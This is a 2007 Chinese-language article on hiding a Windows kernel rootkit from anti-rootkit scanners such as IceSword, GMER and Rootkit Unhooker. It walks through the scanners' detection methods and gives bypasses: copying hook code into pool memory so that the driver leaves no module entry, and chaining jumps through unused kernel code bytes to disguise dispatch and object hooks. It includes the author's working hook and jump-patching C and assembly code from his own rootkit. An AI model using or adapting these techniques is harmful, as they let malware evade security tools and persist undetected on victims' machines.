饒過現(xiàn)代Anti - Rookit工具的內(nèi)核模塊掃描
( Bypass?modern?anti - rootkit?tools 's?kernel?mode?scan)

MJ0011
th_decoder@126
. com
2007 - 10 - 24


本文描述了一些方法,可以饒過目前主流的現(xiàn)代Anti - rootkit工具,包括但不限于 :
Icesword?最新版
Gmer最新版
Rootkit?unhooker?最新版
DarkSpy?最新版
AVG?Anti
- rootkit最新版
等等


目前的anti
- rootkit工具中,對于內(nèi)核模塊主要采用如下幾種掃描方式 :

1. 恢復ZwQuerySystemInformation的hook , 然后利用功能號SystemModuleInformation進行枚舉
例如Icesword

2. 遍歷PsLoadModuleList , Driver / Device / Section?Object鏈 , 或者TypeList鏈等 ( 總之是找驅(qū)動相關對象 ) 進行枚舉
例如Rootkit?Unhooker
, Gmer等

3. 內(nèi)核鏡象暴力搜索 , 搜索MZ , PE等等標志結合進行判斷內(nèi)存里是否有PE鏡象 , 如rootkit?unhooker , rutkowska的modgreper等,通常只能顯示為unknow?image

4. 函數(shù)引用 , 各種routine\hook等 , 先HOOK一些常用函數(shù),然后當驅(qū)動去調(diào)用這些函數(shù)時,記下其地址,檢測時使用 , 或者是根據(jù)各種?routine ( dispatch?routine , IDT , Image?Notfiy等 ) 或各種hook ( inline? hook , iat / eat?hook等等 ) ,通常只能顯示為unknow?image或unknow?xxx?handler等

5. 使用系統(tǒng)ImageLoad?Notfiy , 使用一個BOOT驅(qū)動,記錄所有模塊load的消息 , 檢測時進行分析?如AVG?Anti - rootkit等


先說饒過
1 , 2 , 3 , 5 的辦法
很簡單,使用諸如ZwSetSystemInformation的函數(shù)加載驅(qū)動,然后在DriverEntry中分配NonPagedPool的內(nèi)存,然后將功能代碼
/ 函數(shù)copy到該內(nèi)存中,然后進行必要的HOOK,最后返回STATUS_UNSUCCESSFULL .

這樣驅(qū)動在PsLoadModuleList、各種對象鏈里就消失了,自然也就不存在于ZwQuerySystemInformation枚舉的列表里
需要注意的是,copy到內(nèi)存中的代碼要盡量簡單,基本不會生成需要重定位的代碼了,但調(diào)用系統(tǒng)函數(shù)還是要另想辦法

我的某個RK里是這樣做的,例如A?Function用來hook?系統(tǒng)函數(shù)B
, 其中需要調(diào)用系統(tǒng)函數(shù)C,

那么分配一塊內(nèi)存,大小
=? len ( A )?+? sizeof ( ULONG )?*? 2

在內(nèi)存的前兩個DWORD放OrgB , 以及C的地址,后面開始放函數(shù)代碼

函數(shù)中使用call?
+ 5? 對自身的位置進行定位,找到內(nèi)存開始的位置,然后得到OrgB和C

當然也可以在COPY入內(nèi)存前自己用絕對地址定位函數(shù)
~ 不過不如這個方法靈活

相關代碼
:
//hook?call?CmEnumerateValueKey

void? InstallCMRegHook ()
{
????
PVOID?_CmEnumerateKeyValueLoc? ;
???

????
_CmEnumerateKeyValueLoc? =? FindCmEnumerateValueKey ();
????
//找到?call?CmEnumerateValueKey

????
HookCodeLen? =?( ULONG ) NopFunc8? -?( ULONG ) NewCmEnumerateValueKey? ;
????
//獲得NewCmEnumerateValueKey長度

????
HookCode3? =? ExAllocatePoolWithTag ( NonPagedPool? ,
????
HookCodeLen? +? 4? ,
????
MEM_TAG_HOOKCODE3 );
???
????
//分配內(nèi)存

????
*( ULONG *) HookCode3? =?*( ULONG *) _CmEnumerateKeyValueLoc? ;
???
????
//原函數(shù)地址放入內(nèi)存

????
RtlCopyMemory (( PVOID ) HookCode3? +? sizeof ( ULONG )?,?( PVOID ) NewCmEnumerateValueKey? , HookCodeLen );

????
//copy函數(shù)代碼

????
DO_SPINLOCK ();
????*(
ULONG *) _CmEnumerateValueKeyLoc? =? HookCode3? +? sizeof ( ULONG );

????
//進行HOOK

????
EXIT_SPINLOCK ();
????
return? ;
???
}

NTSTATUS?NewCmEnumearateValueKey ( IN?PVOID????KeyControlBlock ,
????
IN?ULONG?Index ,
????
IN?KEY_VALUE_INFORMATION_CLASS?KeyValueInformationClass ,
????
IN?PVOID?KeyValueInformation ,
????
IN?ULONG?KeyLength ,
????
IN?PULONG?ResultLength
????
)
{
//下面找到本函數(shù)開始地址,并獲得保存在內(nèi)存中的OrgCmEnumerateValueKey的地址

????
__asm
????
{
????????
push????eax
????????call????__
__
:
????????
POP????????eax
????????SUB????????eax
, offset?__
????????add????????eax
, offset?NewCmEnumearateValueKey

; 獲得函數(shù)開始地址

????????sub????????eax
, 4???
????????
mov????????eax ,[ eax ]

;
獲得OrgCmEnumerateValueKey

????????push????ResultLength
????????push????KeyLength
????????push????KeyValueInformation
????????push????KeyValueInformationClass
????????push????Index
????????push????KeyControlBlock
????????call????eax???
????????mov????????stat
,? eax
; 調(diào)用原始函數(shù)
????????pop????????eax
????
}

//.....其他處理
//
//.....
}


void? NopFunc8 ()
{
????
__asm
????
{
????????
nop
????????nop
????????nop
????
}
????
return? ;
}

//上面這個NopFunc用于NewCmEumerateValueKey函數(shù)長度定位


這樣,基于ZwQuerySystemInformation , PsLoadModuleList , 對象目錄,Type鏈 , ImageLoad , 暴力PE搜索 ( 因為我們壓根就沒有PE鏡象 , just?one?piece?of?code ~)...

接下來看如何饒過 4. 中的檢測方式

1.Hook 常用函數(shù) : 這個很簡單了,恢復自己要用的函數(shù) ~ 或者壓根就不用那些函數(shù),HOOK代碼大部分都是數(shù)據(jù)過濾 / 處理部分,所以完全可以一個系統(tǒng)函數(shù)也不調(diào) ...

2. 各種routine檢測,這個可以用多次跳轉(zhuǎn)方式搞定,例如Dispatch?hook , 因為獲取各種DRIVER的DISPATCH?原始地址沒有比較通用的方法,所以檢測dispatch是否被HOOK的方式通常都是檢測其地址是否在其模塊的Code?Section中 ( 類似的還有object?hook , pxxxx?hook等 ), 使用此方法的例如rootkit?unhooker ,? gmer等

只要我們先使用這樣的方法,就可以饒過檢測,讓Anti
- rootkit工具不知道是我們的模塊HOOK了這里 :

先將dispatch地址跳轉(zhuǎn)到code?section中不用的部分, 5 個字節(jié)就足夠了,然后在這 5 個字節(jié)里使用jmp指令再跳到我們的模塊里,這樣Anti - rootkit工具檢測時 , 就會發(fā)現(xiàn)dispatch?routine仍然在該模塊的code?section中

通過這種方法也可以饒過對dispatch?hook\object?hook的檢測

inline? hook / iat / eat?hook也可以用類似的方法來躲過模塊檢測,不過無法避免HOOK被檢測到? ^-^

即使Anti - rootkit工具使用更復雜的算法,對各個routine進行深度代碼級掃描 , 我們也可以通過復雜邏輯/代碼,將我們的最后跳轉(zhuǎn)地址藏起來:)

一個簡單的雙段跳饒過object?hook檢測的代碼
:
object?hook方法因為未被公開過,故細節(jié)略去,方便起見,沒有寫找code?section的代碼,直接將跳轉(zhuǎn)代碼寫到了ntoskrnl的DOS?Header中
同樣來自于我的某RK
:
ULONG?InsideHookCode ( ULONG?NewAddress? ,? ULONG?BaseCode? )
{
//該函數(shù)用于將hook代碼轉(zhuǎn)接到模塊的DOS頭中

????//in?:NewAddress:?real?hookcode?to?jump
????//in?:ModuleName:?kernel?module?base?address?to?inject
????//out?:NewJump?Address

ULONG?TempCode? =? BaseCode? ;

????
TempCode? =? TempCode? +? sizeof ( IMAGE_DOS_HEADER )?;
????
//into?DOS?stub

????
DO_SPINLOCK ();
????
WPOFF ();
???
????*(
BYTE *) TempCode? =? 0xe9? ;
????
__asm
????
{
????????
push????eax
????????push????ecx
????????mov????????ecx
,? TempCode
????????mov????????eax
,? NewAddress
????????sub????????eax
,? ecx
????????sub????????eax
,? 5
????????
mov????????dword?ptr [ ecx + 1 ]?,? eax
????????pop????????ecx
????????pop????????eax
????
}
???
????
WPON ();
????
EXIT_SPINLOCK ();

????
//write?jmp?NewAddress?into?DOS?stub
????
return? TempCode? ;
}